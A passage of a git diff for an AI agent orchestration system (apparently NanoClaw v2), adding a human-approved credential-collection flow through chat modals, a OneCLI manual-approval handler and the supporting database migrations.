take effect on wake. writeDestinations(agentGroup.id, session.id); + writeSessionRouting(agentGroup.id, session.id); const mounts = buildMounts(agentGroup, session); const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; - const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); + // OneCLI agent identifier is the agent group id. The admin group uses OneCLI's + // default agent (undefined), so unscoped credentials apply. Non-admin groups + // use their stable ag-xxx id, which is reversible via getAgentGroup() for + // approval-request routing. + const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.id; const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); diff --git a/src/credentials.ts b/src/credentials.ts new file mode 100644 index 0000000..f4955c2 --- /dev/null +++ b/src/credentials.ts @@ -0,0 +1,312 @@ +/** + * Credential collection flow. + * + * Agent calls `trigger_credential_collection` — container writes a system + * action `request_credential` into outbound.db. This module: + * + * 1. Delivers an `[Enter credential] [Reject]` card to the admin channel. + * 2. On "Enter credential" click, the Chat SDK bridge opens a modal with a + * TextInput, captures the user's value in `onModalSubmit`, and calls + * `handleCredentialSubmit()` here. + * 3. We insert the secret into OneCLI and write a system chat message into + * the agent's session DB so the blocking MCP tool call returns. + * 4. The credential value never enters any session DB or log line. + */ +import { + createPendingCredential, + deletePendingCredential, + getPendingCredential as getPendingCredentialRow, + updatePendingCredentialMessageId, + updatePendingCredentialStatus, +} from './db/credentials.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; +import type { ChannelDeliveryAdapter } from './delivery.js'; +import { log } from './log.js'; +import { createSecret, OneCLISecretError } from './onecli-secrets.js'; +import { writeSessionMessage } from './session-manager.js'; +import type { PendingCredential, Session } from './types.js'; +import { wakeContainer } from './container-runner.js'; + +let adapterRef: ChannelDeliveryAdapter | null = null; + +export function setCredentialDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { + adapterRef = adapter; +} + +/** Handle a `request_credential` system action from a container. */ +export async function handleCredentialRequest( + content: Record, + session: Session, +): Promise { + if (!adapterRef) { + notifyAgentCredentialResult(session, content.credentialId as string, 'failed', 'delivery adapter not ready'); + return; + } + + const credentialId = (content.credentialId as string) || ''; + const name = (content.name as string) || ''; + const type = ((content.type as string) || 'generic') as 'generic' | 'anthropic'; + const hostPattern = (content.hostPattern as string) || ''; + const pathPattern = (content.pathPattern as string) || null; + const headerName = (content.headerName as string) || null; + const valueFormat = (content.valueFormat as string) || null; + const description = (content.description as string) || null; + + if (!credentialId || !name || !hostPattern) { + notifyAgentCredentialResult( + session, + credentialId, + 'failed', + 'name and hostPattern are required', + ); + return; + } + + // Deliver the credential card to the channel where the conversation is + // happening — not the admin channel. The user triggered this request by + // chatting with the agent, so the response surface is their chat channel. + if (!session.messaging_group_id) { + notifyAgentCredentialResult( + session, + credentialId, + 'failed', + 'session has no messaging group — cannot deliver credential card', + ); + return; + } + const mg = getMessagingGroup(session.messaging_group_id); + if (!mg) { + notifyAgentCredentialResult(session, credentialId, 'failed', 'messaging group not found'); + return; + } + + createPendingCredential({ + id: credentialId, + agent_group_id: session.agent_group_id, + session_id: session.id, + name, + type, + host_pattern: hostPattern, + path_pattern: pathPattern, + header_name: headerName, + value_format: valueFormat, + description, + channel_type: mg.channel_type, + platform_id: mg.platform_id, + platform_message_id: null, + status: 'pending', + created_at: new Date().toISOString(), + }); + + const question = buildCardText({ + name, + hostPattern, + headerName, + valueFormat, + description, + }); + + let platformMessageId: string | undefined; + try { + platformMessageId = await adapterRef.deliver( + mg.channel_type, + mg.platform_id, + session.thread_id, + 'chat-sdk', + JSON.stringify({ + type: 'credential_request', + credentialId, + question, + }), + ); + } catch (err) { + log.error('Failed to deliver credential request card', { credentialId, err }); + updatePendingCredentialStatus(credentialId, 'failed'); + notifyAgentCredentialResult(session, credentialId, 'failed', 'could not deliver card'); + return; + } + + if (platformMessageId) { + updatePendingCredentialMessageId(credentialId, platformMessageId); + } + + log.info('Credential request delivered', { credentialId, name, hostPattern }); +} + +/** Called by chat-sdk-bridge to fetch metadata for building the modal. */ +export function getCredentialForModal( + credentialId: string, +): { name: string; description: string | null; hostPattern: string } | null { + const row = getPendingCredentialRow(credentialId); + if (!row || row.status !== 'pending') return null; + return { name: row.name, description: row.description, hostPattern: row.host_pattern }; +} + +/** Admin clicked "Reject" on the card (or cancelled the modal). */ +export async function handleCredentialReject(credentialId: string): Promise { + const row = getPendingCredentialRow(credentialId); + if (!row) return; + updatePendingCredentialStatus(credentialId, 'rejected'); + + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'rejected', + `Credential request for ${row.name} was rejected by admin.`, + ); + } + + deletePendingCredential(credentialId); + log.info('Credential request rejected', { credentialId }); +} + +/** + * Admin submitted the modal with a credential value. + * The value is held only long enough to call OneCLI and is then dropped. + */ +export async function handleCredentialSubmit(credentialId: string, value: string): Promise { + const row = getPendingCredentialRow(credentialId); + if (!row) { + log.warn('Credential submit for unknown id', { credentialId }); + return; + } + if (row.status !== 'pending') { + log.warn('Credential submit for non-pending row', { credentialId, status: row.status }); + return; + } + + updatePendingCredentialStatus(credentialId, 'submitted'); + + try { + await createSecret({ + name: row.name, + type: row.type, + value, + hostPattern: row.host_pattern, + pathPattern: row.path_pattern ?? undefined, + headerName: row.header_name ?? undefined, + valueFormat: row.value_format ?? undefined, + agentId: row.agent_group_id, // honored once OneCLI SDK adds scoping + }); + } catch (err) { + const reason = err instanceof OneCLISecretError ? err.message : String(err); + log.error('Failed to create OneCLI secret', { credentialId, reason }); + updatePendingCredentialStatus(credentialId, 'failed'); + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'failed', + `Credential save failed: ${reason}`, + ); + } + deletePendingCredential(credentialId); + return; + } + + updatePendingCredentialStatus(credentialId, 'saved'); + log.info('Credential saved', { credentialId, name: row.name, hostPattern: row.host_pattern }); + + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'saved', + `Credential "${row.name}" saved (host pattern: ${row.host_pattern}).`, + ); + } + + deletePendingCredential(credentialId); +} + +/** + * Fallback for inbound channels that don't support modals — the bridge calls + * this when `event.openModal()` is unavailable or returned undefined. + */ +export async function handleCredentialChannelUnsupported(credentialId: string): Promise { + const row = getPendingCredentialRow(credentialId); + if (!row) return; + updatePendingCredentialStatus(credentialId, 'failed'); + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'failed', + `This channel doesn't support credential collection modals. Use Slack, Discord, Teams, or Google Chat.`, + ); + } + deletePendingCredential(credentialId); +} + +function notifyAgentCredentialResult( + session: Session, + credentialId: string, + status: 'saved' | 'rejected' | 'failed', + detail: string, +): void { + writeSessionMessage(session.agent_group_id, session.id, { + id: `cred-${credentialId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ + type: 'credential_response', + credentialId, + status, + detail, + }), + }); +} + +async function notifyAgentSessionResult( + agentGroupId: string, + sessionId: string, + credentialId: string, + status: 'saved' | 'rejected' | 'failed', + detail: string, +): Promise { + writeSessionMessage(agentGroupId, sessionId, { + id: `cred-${credentialId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: agentGroupId, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ + type: 'credential_response', + credentialId, + status, + detail, + }), + }); + + const { getSession } = await import('./db/sessions.js'); + const session = getSession(sessionId); + if (session) await wakeContainer(session); +} + +function buildCardText(opts: { + name: string; + hostPattern: string; + headerName: string | null; + valueFormat: string | null; + description: string | null; +}): string { + const lines = [ + `🔑 Credential request: ${opts.name}`, + '', + `Host: \`${opts.hostPattern}\``, + ]; + if (opts.headerName) lines.push(`Header: \`${opts.headerName}\``); + if (opts.valueFormat) lines.push(`Format: \`${opts.valueFormat}\``); + if (opts.description) lines.push('', opts.description); + lines.push('', 'Click Enter credential to provide the value, or Reject to decline.'); + return lines.join('\n'); +} diff --git a/src/db/credentials.ts b/src/db/credentials.ts new file mode 100644 index 0000000..887cf96 --- /dev/null +++ b/src/db/credentials.ts @@ -0,0 +1,33 @@ +import type { PendingCredential, PendingCredentialStatus } from '../types.js'; +import { getDb } from './connection.js'; + +export function createPendingCredential(c: PendingCredential): void { + getDb() + .prepare( + `INSERT INTO pending_credentials + (id, agent_group_id, session_id, name, type, host_pattern, path_pattern, + header_name, value_format, description, channel_type, platform_id, + platform_message_id, status, created_at) + VALUES + (@id, @agent_group_id, @session_id, @name, @type, @host_pattern, @path_pattern, + @header_name, @value_format, @description, @channel_type, @platform_id, + @platform_message_id, @status, @created_at)`, + ) + .run(c); +} + +export function getPendingCredential(id: string): PendingCredential | undefined { + return getDb().prepare('SELECT * FROM pending_credentials WHERE id = ?').get(id) as PendingCredential | undefined; +} + +export function updatePendingCredentialStatus(id: string, status: PendingCredentialStatus): void { + getDb().prepare('UPDATE pending_credentials SET status = ? WHERE id = ?').run(status, id); +} + +export function updatePendingCredentialMessageId(id: string, platformMessageId: string): void { + getDb().prepare('UPDATE pending_credentials SET platform_message_id = ? WHERE id = ?').run(platformMessageId, id); +} + +export function deletePendingCredential(id: string): void { + getDb().prepare('DELETE FROM pending_credentials WHERE id = ?').run(id); +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index 9fdbb40..095e4be 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -58,12 +58,6 @@ describe('migrations', () => { runMigrations(db); }); - it('should track schema version', () => { - const db = initTestDb(); - runMigrations(db); - const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(4); - }); }); // ── Agent Groups ── diff --git a/src/db/index.ts b/src/db/index.ts index 457da2a..4e777c3 100644 --- a/src/db/index.ts +++ b/src/db/index.ts @@ -36,4 +36,16 @@ export { createPendingQuestion, getPendingQuestion, deletePendingQuestion, + createPendingApproval, + getPendingApproval, + updatePendingApprovalStatus, + deletePendingApproval, + getPendingApprovalsByAction, } from './sessions.js'; +export { + createPendingCredential, + getPendingCredential, + updatePendingCredentialStatus, + updatePendingCredentialMessageId, + deletePendingCredential, +} from './credentials.js'; diff --git a/src/db/migrations/003-pending-approvals.ts b/src/db/migrations/003-pending-approvals.ts index 9fc2704..08b99c7 100644 --- a/src/db/migrations/003-pending-approvals.ts +++ b/src/db/migrations/003-pending-approvals.ts @@ -1,18 +1,39 @@ import type { Migration } from './index.js'; +/** + * `pending_approvals` table — host-side records for any approval-requiring + * request. Used by: + * - install_packages / request_rebuild / add_mcp_server (session-bound, + * `session_id` set, status stays at default 'pending' until handled) + * - OneCLI credential approvals from the SDK `configureManualApproval` + * callback (session_id may be null, action='onecli_credential'). + * + * The OneCLI-specific columns (`agent_group_id`, `channel_type`, `platform_id`, + * `platform_message_id`, `expires_at`, `status`) let the host edit the admin + * card when a request expires and sweep stale rows on startup. + */ export const migration003: Migration = { version: 3, name: 'pending-approvals', up(db) { db.exec(` CREATE TABLE pending_approvals ( - approval_id TEXT PRIMARY KEY, - session_id TEXT NOT NULL REFERENCES sessions(id), - request_id TEXT NOT NULL, - action TEXT NOT NULL, - payload TEXT NOT NULL, - created_at TEXT NOT NULL + approval_id TEXT PRIMARY KEY, + session_id TEXT REFERENCES sessions(id), + request_id TEXT NOT NULL, + action TEXT NOT NULL, + payload TEXT NOT NULL, + created_at TEXT NOT NULL, + agent_group_id TEXT REFERENCES agent_groups(id), + channel_type TEXT, + platform_id TEXT, + platform_message_id TEXT, + expires_at TEXT, + status TEXT NOT NULL DEFAULT 'pending' ); + + CREATE INDEX idx_pending_approvals_action_status + ON pending_approvals(action, status); `); }, }; diff --git a/src/db/migrations/005-pending-credentials.ts b/src/db/migrations/005-pending-credentials.ts new file mode 100644 index 0000000..beeb3d7 --- /dev/null +++ b/src/db/migrations/005-pending-credentials.ts @@ -0,0 +1,34 @@ +import type { Migration } from './index.js'; + +/** + * `pending_credentials` — backs the trigger_credential_collection flow. + * One row per in-flight credential request; status transitions + * pending → submitted → saved | rejected | failed. + */ +export const migration005: Migration = { + version: 5, + name: 'pending-credentials', + up(db) { + db.exec(` + CREATE TABLE pending_credentials ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + session_id TEXT REFERENCES sessions(id), + name TEXT NOT NULL, + type TEXT NOT NULL, + host_pattern TEXT NOT NULL, + path_pattern TEXT, + header_name TEXT, + value_format TEXT, + description TEXT, + channel_type TEXT NOT NULL, + platform_id TEXT NOT NULL, + platform_message_id TEXT, + status TEXT NOT NULL DEFAULT 'pending', + created_at TEXT NOT NULL + ); + + CREATE INDEX idx_pending_credentials_status ON pending_credentials(status); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index c210359..0f85458 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -5,6 +5,7 @@ import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; import { migration003 } from './003-pending-approvals.js'; import { migration004 } from './004-agent-destinations.js'; +import { migration005 } from './005-pending-credentials.js'; export interface Migration { version: number; @@ -12,7 +13,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001, migration002, migration003, migration004]; +const migrations: Migration[] = [migration001, migration002, migration003, migration004, migration005]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/db/schema.ts b/src/db/schema.ts index 2c40d6e..acffa22 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -114,6 +114,18 @@ CREATE TABLE destinations ( platform_id TEXT, -- for type='channel' agent_group_id TEXT -- for type='agent' ); + +-- Default reply routing for this session. Single-row table (id=1). +-- Host overwrites on every container wake from the session's messaging_group +-- and thread_id. Container reads it in send_message / ask_user_question / +-- trigger_credential_collection to default the channel/thread of outbound +-- messages when the agent doesn't specify an explicit destination. +CREATE TABLE session_routing ( + id INTEGER PRIMARY KEY CHECK (id = 1), + channel_type TEXT, + platform_id TEXT, + thread_id TEXT +); `; /** Container-owned: outbound messages + processing acknowledgments. */ diff --git a/src/db/sessions.ts b/src/db/sessions.ts index 45e911f..e3338d0 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -93,13 +93,26 @@ export function deletePendingQuestion(questionId: string): void { // ── Pending Approvals ── -export function createPendingApproval(pa: PendingApproval): void { +export function createPendingApproval(pa: Partial & Pick): void { getDb() .prepare( - `INSERT INTO pending_approvals (approval_id, session_id, request_id, action, payload, created_at) - VALUES (@approval_id, @session_id, @request_id, @action, @payload, @created_at)`, + `INSERT INTO pending_approvals + (approval_id, session_id, request_id, action, payload, created_at, + agent_group_id, channel_type, platform_id, platform_message_id, expires_at, status) + VALUES + (@approval_id, @session_id, @request_id, @action, @payload, @created_at, + @agent_group_id, @channel_type, @platform_id, @platform_message_id, @expires_at, @status)`, ) - .run(pa); + .run({ + session_id: null, + agent_group_id: null, + channel_type: null, + platform_id: null, + platform_message_id: null, + expires_at: null, + status: 'pending', + ...pa, + }); } export function getPendingApproval(approvalId: string): PendingApproval | undefined { @@ -108,6 +121,14 @@ export function getPendingApproval(approvalId: string): PendingApproval | undefi | undefined; } +export function updatePendingApprovalStatus(approvalId: string, status: PendingApproval['status']): void { + getDb().prepare('UPDATE pending_approvals SET status = ? WHERE approval_id = ?').run(status, approvalId); +} + export function deletePendingApproval(approvalId: string): void { getDb().prepare('DELETE FROM pending_approvals WHERE approval_id = ?').run(approvalId); } + +export function getPendingApprovalsByAction(action: string): PendingApproval[] { + return getDb().prepare('SELECT * FROM pending_approvals WHERE action = ?').all(action) as PendingApproval[]; +} diff --git a/src/delivery.ts b/src/delivery.ts index 4d60715..fdcf054 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -720,6 +720,12 @@ async function handleSystemAction( break; } + case 'request_credential': { + const { handleCredentialRequest } = await import('./credentials.js'); + await handleCredentialRequest(content, session); + break; + } + default: log.warn('Unknown system action', { action }); } diff --git a/src/index.ts b/src/index.ts index e237834..c3a478d 100644 --- a/src/index.ts +++ b/src/index.ts @@ -13,6 +13,19 @@ import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messa import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; +import { + ONECLI_ACTION, + resolveOneCLIApproval, + startOneCLIApprovalHandler, + stopOneCLIApprovalHandler, +} from './onecli-approvals.js'; +import { + getCredentialForModal, + handleCredentialChannelUnsupported, + handleCredentialReject, + handleCredentialSubmit, + setCredentialDeliveryAdapter, +} from './credentials.js'; import { routeInbound } from './router.js'; import { getPendingQuestion, @@ -79,12 +92,35 @@ async function main(): Promise { log.error('Failed to handle question response', { questionId, err }); }); }, + getCredentialForModal, + onCredentialReject(credentialId) { + handleCredentialReject(credentialId).catch((err) => + log.error('Failed to handle credential reject', { credentialId, err }), + ); + }, + onCredentialSubmit(credentialId, value) { + handleCredentialSubmit(credentialId, value).catch((err) => + log.error('Failed to handle credential submit', { credentialId, err }), + ); + }, + onCredentialChannelUnsupported(credentialId) { + handleCredentialChannelUnsupported(credentialId).catch((err) => + log.error('Failed to handle credential channel-unsupported', { credentialId, err }), + ); + }, }; }); // 4. Delivery adapter bridge — dispatches to channel adapters - setDeliveryAdapter({ - async deliver(channelType, platformId, threadId, kind, content, files) { + const deliveryAdapter = { + async deliver( + channelType: string, + platformId: string, + threadId: string | null, + kind: string, + content: string, + files?: import('./channels/adapter.js').OutboundFile[], + ): Promise { const adapter = getChannelAdapter(channelType); if (!adapter) { log.warn('No adapter for channel type', { channelType }); @@ -92,11 +128,13 @@ async function main(): Promise { } return adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, - async setTyping(channelType, platformId, threadId) { + async setTyping(channelType: string, platformId: string, threadId: string | null): Promise { const adapter = getChannelAdapter(channelType); await adapter?.setTyping?.(platformId, threadId); }, - }); + }; + setDeliveryAdapter(deliveryAdapter); + setCredentialDeliveryAdapter(deliveryAdapter); // 5. Start delivery polls startActiveDeliveryPoll(); @@ -107,6 +145,9 @@ async function main(): Promise { startHostSweep(); log.info('Host sweep started'); + // 7. Start OneCLI manual-approval handler + startOneCLIApprovalHandler(deliveryAdapter); + log.info('NanoClaw v2 running'); } @@ -134,9 +175,20 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { /** Handle a user's response to an ask_user_question card or an approval card. */ async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + // OneCLI credential approvals — resolved via in-memory Promise, not session DB + if (resolveOneCLIApproval(questionId, selectedOption)) { + return; + } + // Check if this is a pending approval (install_packages, request_rebuild) const approval = getPendingApproval(questionId); if (approval) { + if (approval.action === ONECLI_ACTION) { + // Row exists but the in-memory resolver is gone (timer fired or process + // was in a weird state). Nothing to do — just drop the row. + deletePendingApproval(questionId); + return; + } await handleApprovalResponse(approval, selectedOption, userId); return; } @@ -188,6 +240,10 @@ async function handleApprovalResponse( selectedOption: string, userId: string, ): Promise { + if (!approval.session_id) { + deletePendingApproval(approval.approval_id); + return; + } const session = getSession(approval.session_id); if (!session) { deletePendingApproval(approval.approval_id); @@ -262,6 +318,7 @@ async function handleApprovalResponse( /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); + stopOneCLIApprovalHandler(); stopDeliveryPolls(); stopHostSweep(); await teardownChannelAdapters(); diff --git a/src/onecli-approvals.ts b/src/onecli-approvals.ts new file mode 100644 index 0000000..c8d6558 --- /dev/null +++ b/src/onecli-approvals.ts @@ -0,0 +1,252 @@ +/** + * OneCLI manual-approval handler. + * + * When the OneCLI gateway intercepts a credentialed request that needs human + * approval, it holds the HTTP connection open and fires our `configureManualApproval` + * callback. We: + * 1. Deliver an ask_question card to the admin channel (same routing as + * `requestApproval()` — global admin agent group's first messaging group). + * 2. Persist a `pending_approvals` row (action='onecli_credential') so we can + * edit the card on expiry and sweep stale rows at startup. + * 3. Wait on an in-memory Promise: resolved by the admin click + * (`resolveOneCLIApproval`) or by a local expiry timer. + * 4. On expiry, edit the card to "Expired" and return 'deny' — the gateway's + * HTTP side will have already closed, but we need to release the Promise + * so the SDK callback returns cleanly. + * + * Startup sweep edits any leftover cards from a previous process to + * "Expired (host restarted)" and drops the rows. + */ +import { OneCLI, type ApprovalRequest, type ManualApprovalHandle } from '@onecli-sh/sdk'; + +import { ONECLI_URL } from './config.js'; +import { getAdminAgentGroup, getAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; +import { + createPendingApproval, + deletePendingApproval, + getPendingApprovalsByAction, + updatePendingApprovalStatus, +} from './db/sessions.js'; +import type { ChannelDeliveryAdapter } from './delivery.js'; +import { log } from './log.js'; +import type { PendingApproval } from './types.js'; + +export const ONECLI_ACTION = 'onecli_credential'; + +type Decision = 'approve' | 'deny'; + +const onecli = new OneCLI({ url: ONECLI_URL }); + +interface PendingState { + resolve: (decision: Decision) => void; + timer: NodeJS.Timeout; +} + +const pending = new Map(); +let handle: ManualApprovalHandle | null = null; +let adapterRef: ChannelDeliveryAdapter | null = null; + +/** + * Generate a short approval id for card buttons. + * + * OneCLI's native request.id is a UUID (36 bytes). When we put it into a card + * button's action id as `ncq::Approve`, Chat SDK's Telegram adapter then + * serializes both `id` and `value` into the Telegram `callback_data` field, + * which has a hard 64-byte limit. UUIDs push past that limit. + * + * Instead we generate a 10-byte id (`oa-` + 8 base36 chars) for the card, and + * keep the OneCLI request.id in the persisted payload for audit. The pending + * map, DB row, and button callback all use this short id; click handling + * looks up the short id and resolves the Promise that was waiting on it. + */ +function shortApprovalId(): string { + return `oa-${Math.random().toString(36).slice(2, 10)}`; +} + +/** Called from the main `handleQuestionResponse` path when a card button is clicked. */ +export function resolveOneCLIApproval(approvalId: string, selectedOption: string): boolean { + const state = pending.get(approvalId); + if (!state) return false; + pending.delete(approvalId); + clearTimeout(state.timer); + + const decision: Decision = selectedOption === 'Approve' ? 'approve' : 'deny'; + updatePendingApprovalStatus(approvalId, decision === 'approve' ? 'approved' : 'rejected'); + // Card is auto-edited to "✅